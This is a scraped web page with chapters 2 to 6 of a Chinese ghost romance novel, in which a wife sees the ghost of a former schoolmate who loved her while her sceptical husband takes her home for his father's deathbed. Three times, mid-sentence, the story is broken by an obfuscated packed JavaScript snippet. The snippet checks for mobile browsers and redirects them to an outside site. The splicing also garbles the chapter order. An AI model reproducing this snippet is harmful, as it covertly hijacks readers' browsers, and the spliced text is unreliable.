《阴郁男鬼觊觎我妻多年》 2. 第 2 章 贺府,梵院里,天蒙蒙亮。 年轻的状元郎贺文卿背着手,立在妻子魏氏院中。 屋内隐约听到有个女声在那惊声喊着“鬼啊”“有鬼呀郎君”的昏话。 他蹙着眉头听了一会儿,终于不悦地叫来魏姻的陪嫁丫鬟翠微斥道:“让夫人住嘴,这些话传出去成何体统。” 贺文卿是个饱读圣贤书的持重年轻人,一心只有孔圣人的“不语怪力乱神”,自然不相信这荒诞的鬼怪之说,对于那些痴迷鬼神的愚行,他也是向来看不上眼的。 可他娶的这位夫人魏姻,明明是个官宦家的贵女,却偏偏最是无知愚昧,除了那张脸貌美了些,一言一行实在没有什么可取之处。 过门后,整日里不是躲在府里请些方士道士给她念经,就是听信这些人要行善积德的话,常常买些鱼龟去河边放生,贺文卿为此劝过她几次,但她每每当面对他满口应承,过一阵还是照样我行我素,他不悦,她便装作无辜将他磨进房里……没有办法,他也便睁一只眼闭一只眼随她高兴了。 但最让他感到难以忍受的,还是魏姻在他行房事的时候,都要在耳边神神叨叨地劝他在朝廷做官,万不可做那等大奸大贪之臣,说那死后会下饿鬼道畜生道的。 他听得既好笑又好气。 只怪当初议亲的时候,见她容色顺眼,便直接跟长辈们应承了这门婚事,如今,贺文卿只能劝自己尽力去容忍她的种种荒谬行为。 翠微却犹豫着道:“姑爷,夫人说的怕不是胡话。夫人自幼年被吓破过胆,白日里不带着平安符都是不敢轻易出门的,若不是邪祟作怪,夫人她昨夜睡得好好的,又怎会莫名魂游出去呢?奴婢听外头人说,那菩萨庙确实不太干净,就说那位五年前吊死的陆举子,原本好好的少年郎,竟然放着功名前程不要,想不开在菩萨庙里放了把火,把自己吊死了,这不就是被鬼怪给迷疯了神智吗?姑爷,咱们还是去请个人来给夫人驱一驱吧……” 哪成想,翠微这话直接招来了贺文卿冷脸:“你说什么?” 翠微一颤,才想起自家姑爷向来不喜身边人说这些,只好低声问道:“不知姑爷可去请了表小姐过来?夫人还在里面等着表小姐……” 贺文卿蹙眉,这位表小姐李嫦,是魏姻的表姐,和魏姻一样对于鬼怪之说深信不疑,他是一向不太待见此人上门的,但想到方才魏姻那张被吓得憔悴的美丽面容,魏姻这人虽说愚昧了些,但在他面前却也是第一次露出这样无助可怜的娇态,贺文卿不由心软了两分。 “我已让人去请了,很快就到。” 这时,又有丫鬟跑来:“大人,夫人说她头疼得厉害,请您进去看看……” …… 贺文卿掀帘进屋的时候,魏姻正失魂落魄地半坐在床头上,手揉着额在那难受哼着,见到丈夫进来忙伸手扯住男人腰带:“郎君,你可为妾身请来高人了么……” 贺文卿平日里是个极讲规矩的丈夫,除了在床榻上不太一般,便是夫妇二人私下里相处,他也是往往衣襟系得一丝不苟,如今即使与魏姻成婚有五年了,也依旧不习惯妻子当着屋内丫鬟仆妇的面这样和他拉扯。 但他涵养又极好,倒也没有当面拂开,只是将魏姻搭在自个腰间的手不动声色地拉开,耐心劝道:“郎中说了,你自以为撞见了神鬼,实则是因你这昨夜入睡时不慎着了风寒,头脑发热,才致神昏脑乱。” 往常见丈夫这样不知趣,魏姻势必要缠着他磨半天,但今日魏姻着实被吓着了,没有心情缠磨,满眼惊惧道:“郎君,我知你一向不喜我说这些,但此次并非是妾身胡言乱语,是妾身昨夜亲眼看到了那些不知是鬼是怪的东西在街上敲敲打打呢,还有那菩萨庙,我刚走近的时候还好好的,可忽然就火光冲天,接着就见陆魂他吊死在了火里……” 贺文卿听她语无伦次地说完,这才横着长眉淡淡安慰道:“这无非是你平日里听多了鬼话,才日有所思夜有所梦,何况,若昨晚街上真有这等怪事,难不成人家都听不到,就你能看见么?” 魏姻一时被问得答不上来,只好硬着头皮道:“不瞒郎君,妾身已让翠微去查过那个什么断头胡同,陆魂以前竟真的就住在那里,和我昨夜听到的如出一辙……” “好了。”贺文卿听她越说越荒谬,再持重的人也没了耐性:“这些怪事无非就是那些无知之人自己见识浅薄扯出来的鬼话而已,魏姻,你是我贺家长孙媳,往日你求神拜佛,听信方士道士的无稽之谈我便也容忍了,但此等危言耸听之言你再相信,便和那等无知的市井妇人没有什么两样了。” 魏姻怔怔望着他。 贺文卿说完,也意识到自己刚才话说重了。 他懊恼地扶了扶额角,平日里他作为言官,被他弹劾的那些官员被他气得口不择言,跳脚动手的大有人在,可他却从来气定神闲,连袍角都没有乱过分毫。 可唯独魏姻,总能给他说得克制不住脾气。 见魏姻依旧一动不动,低头坐在那,她虽一言难尽,但自己把她比作无知市井妇人那番话确实伤了她的脸面。贺文卿叹口气,尽力让自己心平气和下来,耐心替她掖了掖被角:“时辰不早了,我还得上朝,表姐我已让人请来陪你,你今日便安生待在房中养病,别再胡思乱想了。” 贺文卿相貌本就不错,只是平日里气质偏冷淡一些,让人不太敢放肆,如今态度略软些,反倒极温柔。 魏姻却完全无心体会郎君难得的柔情,见他根本不相信自己的话,便不愿意再搭理他了,支着涨痛的脑袋闭上了眼睛,贺文卿见此,只好让她先歇着,等他晚上回来再说。 魏姻没有理会对方是什么时候走的,她心绪不宁的,捏着手里的平安符一个劲往自己心口上按。 “夫人,表小姐到了。” 翠微领着一个浑身贵气容貌出众的年轻妇人进来。 正是李嫦。 李嫦的母亲是魏姻的姨妈,由于李嫦母亲早死,她打襁褓时就被魏姻母亲抱在身边抚养,与魏姻自小一起长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615256|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,后来姊妹两个陆续出嫁了,也没有断了往来。 “姻儿。”李嫦显然是急急忙忙梳妆赶来的,“我听翠微说,你昨夜里竟在菩萨庙里见着以前在咱们家附学的陆魂了?” 魏姻便将昨夜发生的事一五一十说给了表姐听,然后紧紧拉住李嫦的手:“表姐,你相信我,我亲眼看到的,绝对并非做梦,我与郎君说,他却不信我,表姐我……我真怕啊……” 李嫦听她说完,却不仅没有露出任何惊讶,反而一脸讳莫地摇起了头,“我就知道,我就知道……” 魏姻疑惑:“表姐这是何意?” 李嫦没有立即说话,而是先看了看边上,见丫鬟仆妇们都在外边,只有翠微在边上伺候,便叹息开口:“姻儿你可还记得,你我二人在家中念书时,有次你贴身藏着的帕子遗失,被陆魂拿了去的那桩传闻?” 魏姻不明白表姐怎么会提到那件事。 “起初我还不信的,陆魂那人,性子虽孤僻怪异,但看着也是守礼的,不像是那等手脚不干净的人。”李嫦压低声音,继续说:“可后来我听我兄弟说,他亲眼看见那帕子被陆魂给捡去了,而且还……还见着陆魂他竟然背地里拿着你那块帕子做……做过那种事呢……” 魏姻刚开始没反应过来,等看到李嫦那羞赧神情,已经经历人事的她这才瞬间反应过来。 “也是那时,我才从我兄弟口中得知,原来他早暗地里对你有心思的……” 魏姻皱着眉头,回想起以前在学堂读书时,那个常年面色苍白郁郁寡默的少年。 陆魂比她要小三岁,因着家境不好,他总是穿着一身半旧不新的粗布长衫,模样倒是长得十分清秀端正,但性格却很古怪,平日一个人独来独往,便是大家去找他说话他也是把头垂得低低的,不回话,好像哑巴了一样。 记得他们之间唯一有过交集的是,有一天她从家中带了糕饼去学堂当早饭吃,大冬天的,见他在一旁吃着粗馍就凉水,一边看书,怜悯他年纪小,无父无母全靠瞎眼的老祖母养大,很是可怜,就好心把糕饼分他吃一点,没想到他连看都没有看一眼,一把推开她跑出了学堂,害得所有糕饼全掉地上了,让她那日早饭一口都没有吃着,硬是饿了半日。 后来就在魏姻成婚那晚,也是陆魂中举当晚,他却不知怎么就失心疯了,丧心病狂在菩萨庙放了一把火后便把自己吊死在里面了…… 那时魏姻听闻后还感到诧异,颇觉惋惜,可没有想到,他年纪不大,背地里竟是这样一个下流的人。 她一下子连害怕都忘了,只感到恶心不已。 “姻儿,我算是明白了。” 李嫦忽然脸色难看地说道:“陆魂吊死那夜,恰好是你与表妹夫的洞房花烛夜,他生前便对你别有心思,而你却在他惨死的时候与旁人喜结连理,如今怕是心有不甘,要缠着你下去陪他呢。” “啊?!” “这样吧表妹,你先歇着,待用完晚膳,我陪你去陆魂家中看看究竟是怎么一回事。” 3. 第 3 章 用完晚膳,转眼间天就黑了下来,长着一棵百年大榕树的胡同路口处出现了几个人影,正是魏姻和李嫦,她们各自挑着一盏提灯小心走在前头,丫鬟翠微则紧抱着一包袱什么东西不安地跟在两人后面,榕树偌大的树冠形成一片阴影匝地,将她们包裹身下。 这处胡同的地势显得分外瘆人,从高处俯身看过去,正如一个断了的人头,而胡同口刚好是在脖子位置,看着就显得诡异,难怪叫“断头胡同”。 昨天深夜虽下过雨,但经今日烈日晒了一天,路面并不湿。 一阵燥热夜风吹过,慌得翠微连话都说不清楚了,“夫、夫人,表小姐,奴婢打听过了,陆举子生前就住在这断头胡同的头穴处。” “这胡同怎么取个这样的名儿呢,一听就不吉利。” 李嫦在前用帕子掩鼻,认真交代身旁的妹妹:“待会表妹你不要怕,咱们有三个人呢,而且我还让翠微带来了黑狗血,谅他道行再高,也不敢轻易出来作怪的。” 魏姻则满脸紧张地捏紧手中平安符,乖乖对表姐点头。 两主一仆就这么硬着头皮往胡同里边走去。里面都是一桩桩的老房子,有些屋檐都已经没了大半,整个胡同里只住着寥寥几户人家,夜里更显得安静,不见人声。 说来也怪,这会儿虽已经天黑了,但白日的闷热并未完全退去,连夜风都还是燥热不已的,一行人原本都走得有些流汗了,可往胡同里头走了没多久,就感觉到身上竟然一点不热了,甚至后背还隐隐发冷。 方才还拿着帕子拭汗的李嫦,这会儿也收起了手帕。 陆魂家就坐落在头穴处。 月光下,只见几个小院紧挨着,各家院子的门户都紧紧闭着,看着不像是有人住的样子,只有其中有一院人家的篱笆墙外面坐着一个年纪看起来很大的老妇人在那借着月光,吃力缝着一件旧衣。 魏姻和李嫦看着这老妇一个人在月下摸黑补衣,一时俱不敢贸然上前。 李嫦心里虽也有些毛,但还是下意识将妹妹魏姻护在了身后,上前询问道:“阿婆,请问陆举子生前可住在这里?” 老妇人不知是年纪大了听不到还是怎么着,没有反应。 魏姻和李嫦于是哆哆嗦嗦去看老妇人脚下。 月光照出了老人的苍影。 李嫦放心了,又大着胆子问了两遍。 老妇人这次听见了,抬头张望,然而对方的脸很快就让魏姻李嫦两人倒吸了口凉气。 老妇人看上去年纪大的很,足像是上了百岁,脸皮皴的完全跟老树皮一样了,又皱又褐黄,看得出来年轻时候一定风吹日晒劳作得极为辛苦的。 老妇人没有言语,而是抬起一双昏聩老眼逡着魏姻和李嫦看。 李嫦提着胆子,出声:“我家姓魏,陆举子以往在我魏府学堂读过书的。” 老妇人恍然大悟,双眼立刻不再迷蒙了,忙道:“原来是魏小姐,老妇人我记得的,以前陆家那孩子确实是在魏府读书的。” 魏姻看她说话正常,胆子便大了起来:“阿婆认得陆魂?” “认得认得。”老妇人看二人虽周身富贵逼人,但却举止亲和,便什么都说了,“魏小姐,我就住在陆举子的隔壁,与陆家也是同姓,以前陆老夫人还在世时,就听老夫人提起过,说若不是魏家的老大人慈悲,她那可怜的小孙子怕是连书都读不起,更何论日后功名呢,你们看,隔壁那个里面有个大槐树的院子就是陆家了……” 魏姻顺着这位姓陆的老妇人所指的方向仰头一看,果然有一极大的槐树正冲天从隔壁低矮的院子里冒了出来,如今盛夏,月亮明亮,可以看见槐花开得一簇簇一团团的,如同云雾缭绕的仙树一般。 陆家院子并未锁门,只是轻轻虚掩着,陆阿婆直接走过去将院门推开,多年未有人住,院子里虽屋舍简单,但却意外的干净整洁,单就槐花散落了一地。 “老妇平日里闲着也无什么事做,便偶尔将这院子收拾了一下。”陆阿婆说着,便深深叹口气:“说来陆举子,也是老妇看着长大的,实在是我见过最孝顺的孩子了。他双亲早亡,家里只剩下他和老夫人,老夫人又眼瞎,他那些年,不但要顾着读书,还要伺候老夫人,记得七岁那年,他为了给老夫人炖鸡补身子,滚水把整条手臂都烫红了,他却一声不哭,还怕老夫人知道伤心,让我们不要告诉老夫人呢……” 魏姻望着面前哭的捞袖子抹眼泪的陆阿婆。 在她为数不多的印象里,陆魂在学堂里平常总是沉默寡言的,眉宇间也常笼罩着一股淡淡的阴郁。 对于他,她只听说过他与瞎眼的老祖母住,以及刚才表姐说的那些事,其他什么情况并不清楚。 可听陆阿婆这话,陆魂似乎极孝顺懂事。 这时,陆阿婆又指着院中间那繁花盛开的槐树说道:“魂儿这孩子生前的时候,总爱坐在这槐树下,靠着树干看书,有时看书入神,连酷暑严寒都不知道,我晓得的,这孩子其实是想给老夫人挣个诰命让老人扬眉吐气,好在他的一番刻苦没有白费,十几岁的年纪竟然就一次高中,难怪外边人都说他什么天赋……哦对,天赋异禀,是神童呢,可惜老夫人还没有等到这一天就走了,就连这孩子自己,也是个没福的,莫名其妙疯了。” 陆阿婆说到这,忽然又把声音压低了,一脸的讳莫如深:“别人都说这孩子是被菩萨庙的鬼怪给害了,但老妇我是晓得的,这孩子虽说平日里不善言辞,又阴沉些,但也不至于会寻死,怕是被人给……” “什么?”魏姻愣住。 然而陆阿婆已经意识到自己多嘴了,立刻想要掩饰什么似的转了话锋:“罢了,不说这个了,我带二位进去看看吧。” 李嫦则瞅着老妇背影:“姻儿,怎么听陆阿婆这话,陆魂倒也不像个下流的?” 魏姻亦摇摇头。 陆家院子里更阴黑森森,简简单单的一爿院子,就只有一间待客堂屋和一个里屋,灶房则设在外边。 堂屋里头的摆设没有两件,只有简单的几把松木椅随意摆着,未曾上漆,做功粗糙至极,显然应该是买不起,自个亲手作的。唯一还算看得过眼的东西,便是堂屋正中墙上挂的一幅笔法青涩的松鹤延年图,为这家徒四壁的家中增添了几分雅意。 “这画是魂儿在老夫人六十寿那天送给老夫人祝寿的,老夫人喜了好些天,直夸她孙儿画虽作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615257|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,但为了画好这幅松鹤图尽孝,每日都要练到大半夜呢……” 魏姻望着那画,脑子里却忽然想起了一件很小的往事。 …… 有一天,夫子迟迟不来学堂上课,大家一时坐不住,都各自交头接耳闲聊起来,特别是有几个女娘,最是说得起劲,后来不知怎么说着说着,有个女娘问起了魏姻。 “姻妹妹,听说前阵子御史家那位纪公子来府中跟你提亲了?” 魏姻那天好像因晚上忘了做夫子布置的功课,这会儿正埋头在案边狂补,听到这话,抬起头想了想。 “是有这么回事,不过被我拒了。” “啊,听说那纪公子为了娶你,不但推了从小定下的婚事,还为了让纪御史同意娶你进门,那样不喜读书的性子,却为了你日日在家中悬梁刺股苦读,这般痴心的夫婿,姻妹妹你怎么说拒就拒了呢。” “姻姐姐不如再想想,可莫要错失良缘了。” 这时,另外一个女娘则插嘴笑道:“你们急什么嘛,人家姻妹妹国色天香,不缺痴心的夫婿,光是咱们学堂里啊,就多的是想娶我们姻妹妹的。” “那姻妹妹,你到底喜欢什么样的夫婿啊?” 魏姻怕这些姐姐妹妹们再缠着自己问下去,怕是来不及补完功课了,于是随口扯道:“我的夫婿嘛,自然得字写得好看,画得好看,人也得好看的。” “哦?” 有女娘愣了愣,跟着,盯着魏姻身后低头看书的陆魂轻轻笑起来:“陆魂的样貌和字便是我见过极好看,极有风骨的,就是今年的新科状元贺文卿怕是都比不上。” “可惜。”另外个人叹息说:“陆魂别的都好,就是不会作画,不然差点就成姻妹妹的如意郎君了……” 没想到,这话说完没两年,魏姻就与贺文卿成了婚,陆魂也死在了中举当夜。 魏姻在心里唏嘘一声,跟着陆阿婆继续往里走。 她们来到了里边逼仄的寝屋,寝屋被隔成两间,前面一间估计是陆魂祖母所住,而另外一间较为宽敞雅洁一点,堆满了书册竹卷的寝屋应该就是陆魂生前读书就寝的地方了。 这屋实在是太小了,就只能摆一张床和一张书案,书案上堆放着几册厚厚的书,而一尊黑漆漆的牌位则明晃晃地挨在书旁。 “魂儿这孩子实在可怜,自小就是孤零零的一个人,一个玩伴都没有,死后更是连个祭拜他的友人都没有。” 陆阿婆说着,不知从哪里拿出了一把香,点燃:“今儿晚上魏小姐来看他,他定然极高兴的,还请魏小姐能够给魂儿上炷香,以后保佑小姐和姑爷夫妻恩爱。” 魏姻听见夫妻恩爱四字,只觉眉心阴阴一跳。 她心中莫名忐忑了一下。 却也不好驳了老人的恳求,于是接过对方的香。 但熟料,这燃得好好的香,就在魏姻把它插上去的时候,那香竟然从中间“卡擦”一声折断两截。 好巧不巧,那正燃的一头正好又不歪不斜地栽到了魏姻的手背上。 她被烫得直疼。 一旁,正准备也上柱香的李嫦,见状,手中长香啪嗒一下掉地上了,不敢再上。 4. 第 4 章 魏姻自那日莫名被折断的香烫了手后,又不好跟丈夫说,便自个将此事憋在了心里,夜里睡也睡不好,有时半夜还要被贺文卿弄起来应付他一番房事,弄得魏姻每日眼圈老大,精神萎靡得很。 实在受不了了,她盘算着哪日趁贺文卿不在,偷偷去请护国寺的觉慧大师来看看。 可就在她准备让翠微去护国寺的前一日,荒州那边却来了一封信。 说是贺父病危,要贺文卿回去治丧。 周朝有规定,凡是官员遇到父母去世,必须按照朝廷的丁忧礼制,辞官回家守孝二十七个月。 贺文卿立刻写折子跟圣上辞官回乡,他如今只是个小言官,虽得圣上看重,但朝廷也不是非他不可,便当即恩准了,第二日就收拾了行囊,带着魏姻启程回荒州。 荒州地处周朝的北方,有些靠近北边的虏人那边了,常年少雨干燥,往年干得严重的时候,总会引起一场干旱。 而魏姻,为着最近发生的诡事本来就愁,一入荒州地界,想到她那婆母贺夫人,愁得眼圈更重了。 事情是这样的,贺文卿的母亲贺夫人有个父母双亡的外甥女叫陈宣华,自小是跟贺文卿青梅竹马长大的表兄妹,据说,两人本是要谈婚论嫁的,后来却因为贺老夫人的反对,才让贺文卿娶了魏姻。 可这两年,贺夫人跟魏姻不对付,这边见魏姻婚后几年肚子都没有个动静,便不断暗示想要贺文卿娶了陈宣华。 后来从贺文卿身上看不出什么想法,以为是魏姻从中作梗,就将气撒到了魏姻身上,也不知这次回去守孝这么久,会给她什么脸色看。 魏姻想到此,怒从心来,下意识去拧了一下坐在身旁闭目养神的贺文卿大腿。 马车里颠颠簸簸的,贺文卿吃痛地睁开了眼睛:“你做什么?” 魏姻却闭上了眼睛,不搭理他。 贺文卿虽气,但看她这几日神情总是恍惚恍惚,今日难得有了一丝生气,也就没有再追究,见魏姻额上都冒了汗,又拿起一旁的娟扇,替她扇了扇。 “这几日天热,在车里你且先忍忍,就快到家了。” 七月的荒州要比京城热得多,魏姻从小于京城长大,不太能够适应荒州的气候。 贺文卿的话音刚落下,马车忽然很用力地颠了起来。 贺文卿赶紧伸手扶住魏姻,朝外面问:“怎么回事?” 马夫的声音立刻从外面小心传了进来:“大人,不知道这马怎么回事,突然一直浑身打颤不愿意走了。” “兴许是天热中了暑气。” 贺文卿沉吟道,让魏姻待车上歇着,他领马夫下车去看马。 马果然是中暑气了,好在不严重,贺文卿就让马夫去拿水。 魏姻一个人坐在宽敞的马车里闷热得很,见一时半会走不了,便下车透口气。 他们停下来的地方,是荒州城郊一个叫河庄的大庄。 河庄有一条山道离贺家很近,他们赶着回去,入了荒州城后就抄着这个近道走,只要过了河庄就是荒州的贺家老宅了。 此时,天已经将黑未黑了,远远地可以看见河庄的百来户人家升起了炊烟在做晚饭。 暮黑蒙蒙的山道上,只有一个打柴晚归的庄稼汉独自担着一肩膀的干柴从山上下来。 魏姻百无聊赖地打量着。 就见这庄稼汉走了没几步,便气喘吁吁地放下柴垛,坐在道旁,从身上掏出土烟吸了起来。 一边吸着,盯着庄口一个方向凝了起来。 魏姻顺着他的目光望过去,隐约可以看到靠近河边的地方筑立着一座小石屋。 四四方方的石屋,看着并无什么特别的。 魏姻于是懒懒收回目光,准备转头去看别处的风光。 可就在她将要转头的一刹,却瞥见庄稼汉的身旁不知何时突然僵站着一道惨白的身影。 刚开始,她以为又是哪个晚归的庄稼人,并不在意。 可不一会儿,她发现不对了。 那身影竟快有一丈高,高得几乎不像人,便是再高壮的庄稼人,也不可能有这样的身量,身形看着也极年轻,身上虽只穿着件简单的粗布长衫,但头上却戴着只有读书人惯常戴的那种后垂有一对飘带的青布儒巾。 由于是背对着,魏姻看不到对方的脸,但隐约感觉到这少年人有点诡异。 因为他好像是凭空出现的。 见那庄稼汉依旧坐那视若无睹地吸烟,魏姻想要张口去提醒。 可还没等她发出声音,背立而站的少年却似有所觉,先一步将脸朝她转了过来。 是一张极苍白,眉眼带着几分阴郁,鼻梁却因为过分清瘦而显得很高很高的脸。 当魏姻看清楚这个人的面容,整个人直接僵在了原地,一动也动不了,好像自己是被人用蜡液凝在地上的蜡烛似的,怎么也拔不动脚。 但很快,少年又自顾自转过了身去,然后便像一阵氤氲云雾似的逐渐消散不见。 只剩下仍在默默吃烟的庄稼汉。 还有蒙蒙炊烟山雾。 仿佛根本没有出现过其他人。 他竟然跟来了荒州! 魏姻不知道瞪了多久的眼睛才找回自己的脚,回过神来的第一件事就是赶紧颤声喊“郎君”,但很快意识到贺文卿还在马车那边,她连忙蹬蹬蹬提起裙子扑到还在给马喂水的贺文卿面前,“郎君,我们快、快掉头换个道走……” 贺文卿被她弄得一脸莫名:“为何?” 魏姻刚要说自己看到了陆魂,想到这男人根本就不信她的,只能胡乱捏了个借口:“这山路有些颠簸,我头晕得很,郎君换大道走吧?” 贺文卿愣了一下,见她又是一副受了惊吓的模样,心下有些狐疑,但思虑片刻后,他还是点了点头。 “那等马歇好了,改道走罢。” …… 重新绕到大道上回贺家老宅,要多行十几里,到的时候已然是戌时时分了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615258|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺文卿的奶娘刘嬷嬷听说大少爷今儿夜里要到家,用了晚饭就一直待在后门候着。 这刘嬷嬷是个极和善的一个老妇人,是从前贺老夫人还在世时亲自挑进府里喂养贺文卿的,如今在贺家已经有了好些年头,由于是老太太挑的人,又得贺文卿敬重,平常在府中颇有一些地位,就连强势如贺夫人也不敢轻易说她什么,不过她倒是很喜欢魏姻这个少夫人,常在贺夫人面前护着魏姻。 这会儿竟见魏姻容色憔悴被贺文卿虚扶下马车,她惊讶地问:“少夫人这是怎么了?” “不知她怎么回事,走到河庄的时候说山路颠簸得难受……”贺文卿说。 “什么?大郎你们竟是从河庄那边回来的?”刘嬷嬷在听完他的话后,却突然变了神色:“怎么,夫人他们信上没有跟大郎您说不能从那地儿抄近道回来?” 魏姻闻言微愣:“奶娘这话是何意?” “说来话长。”刘嬷嬷长长地叹口气后,便解释了起来:“少夫人应该也晓得的,咱们荒州向来容易干旱。这不,今年又是一个大旱年,咱们这些大户人家倒还好,怎么着也还能活,可那些庄稼人家可就惨了,不说田里的庄稼干死了多少,就是人自己要喝的水都快没了,要喝水都得花大价钱去买呢,而那河庄,是干的最厉害的一个庄子,简直寸草不生啊,一时家底都要卖光了。” “后来有一户孩子多的庄稼汉实在是活不下去了,在去河伯庙祭拜河伯的路上,不知从哪里听来了一个邪法,说是只要将还未出嫁的黄花闺女嫁给河伯就会求来雨。” “嫁女求雨?”贺文卿听到此处,眉头马上不悦皱起:“这简直是胡闹!” “大郎你先听老婆子说完。”刘嬷嬷没好气挤了他一眼,“怎么嫁呢?就是在干涸河边筑一石屋,三面封着,只留一门,选定了黄道吉日穿上新娘服关进去,不给饭食不给水,直到七天后在石屋外做完了祈雨的法事才能打开。” 魏姻立马记起了,“奶娘说的可就是河庄河边的那石屋?” “便就是那了。”刘嬷嬷说到这里,仿佛看到了什么恐怖的事,倒吸口气:“那庄稼汉真就糊涂听信了,将自己才十三四岁的大闺女硬是生生嫁给了河伯,七天后祈雨法事结束一打开,那孩子十指在石屋墙上抠得血痕累累,就这么被活活饿死了!” “怪的是,到这孩子下葬那天,竟真的来了一场雨,只是不知是这孩子死得怨恨还是怎么着,从此河庄那条山道就不太平了,常有人走着走着不知道怎么就掉下山道摔死摔伤了,而且特别奇怪的是,那些摔死的人别的地方竟然都还好,但唯独只有双手血肉淋淋,就跟之前那小姑娘死的时候一模一样……” 刘嬷嬷紧张地拉着魏姻看:“你和大郎从那地方回来可有伤着了?” “我与郎君……方才是从大道回来的。” 魏姻心里一阵胆寒,不觉想到,如果方才不是她看见陆魂被吓到,硬扯着贺文卿从大道回来,还不知会发生什么…… 6. 第 6 章 “是媳妇啊。”贺父确实是个风流的,见到自己娇媚的儿媳妇来了,比见到儿子还要高兴,硬是撑着虚弱的身子半伏起来:“本是不太好的,但见着媳妇你,这病就觉得好了大半,若有媳妇日日在身侧与我说话,我就死而无憾了。” 贺文卿和贺夫人沉下了脸,贺夫人瞪了贺父一眼:“我看你真是病糊涂了,胡说些什么东西!” 贺父却直接不搭理贺夫人的话,喘了口气,朝魏姻招招手:“媳妇儿啊,你来扶我起身坐一会儿吧……我都半个月没有起过身了。” 魏姻看了眼贺夫人,贺夫人没说什么,魏姻于是过去扶贺父起身,贺父这阵子一直只喝点参汤流食续着命,很瘦,便是魏姻也能将他扶起来。 魏姻跟着又从九姨娘的手里接过参汤碗。 贺父摆了摆手,示意不想再喝。 魏姻只好放下,贺父拉着她的手,望望身侧直直站的儿子贺文卿,跟着沉沉叹起气来。 魏姻被他弄得糊涂,“父亲为何叹气,可是身上哪里难受?” “非也。”贺父摇摇头:“只是想到我这一闭眼,日后就看不到我这么美的儿媳妇了,甚是可惜。” “父亲!” 贺文卿在一旁实在听不下去,忍耐到了极点,将魏魏姻拉到了身后,对贺父冷声道:“儿子看您是越来越糊涂、不成体统了,您早些歇息吧,我跟姻儿去给祖父请安。” 贺父仿佛看不到贺文卿眼里的厌恶,他仍旧灼灼盯着魏姻道:“去看那老头子做什么,过来,再陪父亲说说话。” 魏姻的手被贺文卿用力拽着,她笑笑:“父亲早些歇息吧,我明日再来给您请安。” 贺父顿了顿,才点头:“你车马奔波回来,也累了,那回去好好歇着吧。” 于是只留下了九姨娘在贺父身边伺候,其他人都先回去了。 贺夫人带着儿子儿媳妇从房里出来,转头对贺文卿宽慰道:“文卿,你父亲向来就是这样说话不着调的性子,但他还是有分寸的,你不要在意。” 贺文卿颔首:“儿子知晓。” 贺夫人这才打量起魏姻来:“今年这肚子还是没一点动静?” 魏姻听贺夫人又开始问起这事了,赶紧偷偷戳了戳贺文卿的腰,贺文卿明白过来:“母亲,时辰不早了,我们还是先去看祖父吧。” “你祖父让人传了话,他年纪大熬不住,这会儿已经睡下了,让你明早再去请安。” 贺文卿见状,只得道:“既然如此,母亲近日照顾父亲也累了,我送母亲回去吧。” 贺夫人见儿子如此护着媳妇气一下子就上来了,也不知道魏姻给他灌了什么迷魂汤,以前他儿子怎会如此?果真是一副狐媚样,哪里比得上宣华呢?想到这,贺夫人挥挥手,让魏姻回去,她要跟贺文卿说些母子之间的私话。 魏姻自然不想对着贺夫人,马上走了。 院子里下人们都不在,只剩下了母子俩人,贺夫人语重心长地开口道:“文卿,你祖父老了,你父亲如今又这样……没两天了,你是我贺家长孙,要为咱们贺家的子嗣着想才是。” 贺文卿有贺父这个前车之鉴,对于女人并无什么好感,“儿子知道,只是实在厌恶后宅争风吃醋,毁坏前程,等到四十无子,儿子再纳妾也不迟……” “四十?!”贺夫人捂着心口:“文卿你糊涂啊,等你四十了,就算魏姻她能生,你也不一定啊!” 贺文卿:“……母亲这是什么话。” 贺夫人反应过来,忙呸了一声:“母亲乱说的,我儿子身强体壮,自然是四十也能生的,可你祖父他这把年纪等不了了,你得为他老人家想想才是。” 贺文卿只得含糊其辞应承着,要送她回房歇息,今夜由他在这里守着贺父。 贺夫人摆摆手:“今夜你父亲精神好,应不会有事,你车马累了几天,今夜就先回去歇着吧,明日白天再带着你媳妇一起过来守着。” 贺文卿见贺夫人一再坚持,便只好行礼退下。 贺夫人望着儿子离去的背影,有丫鬟端来加了肉糜的菜粥让贺夫人吃,贺夫人摇摇头,挥手让丫鬟拿下去,自己站在原地思忖了片刻,跟着转身,但她却没有回房歇着,而是出了正房,往外甥女陈宣华的住处而去。 她来的时候,陈宣华正在屋里吃药,不时捏着帕子低咳两声。 “宣华这药都吃多久了,怎么却还是一点用都没有,改明儿我让文卿给你在京师另外寻个名医来瞧瞧吧。” 陈宣华抬头见是姨母,忙乖顺起身迎着:“姨母怎么来了。” 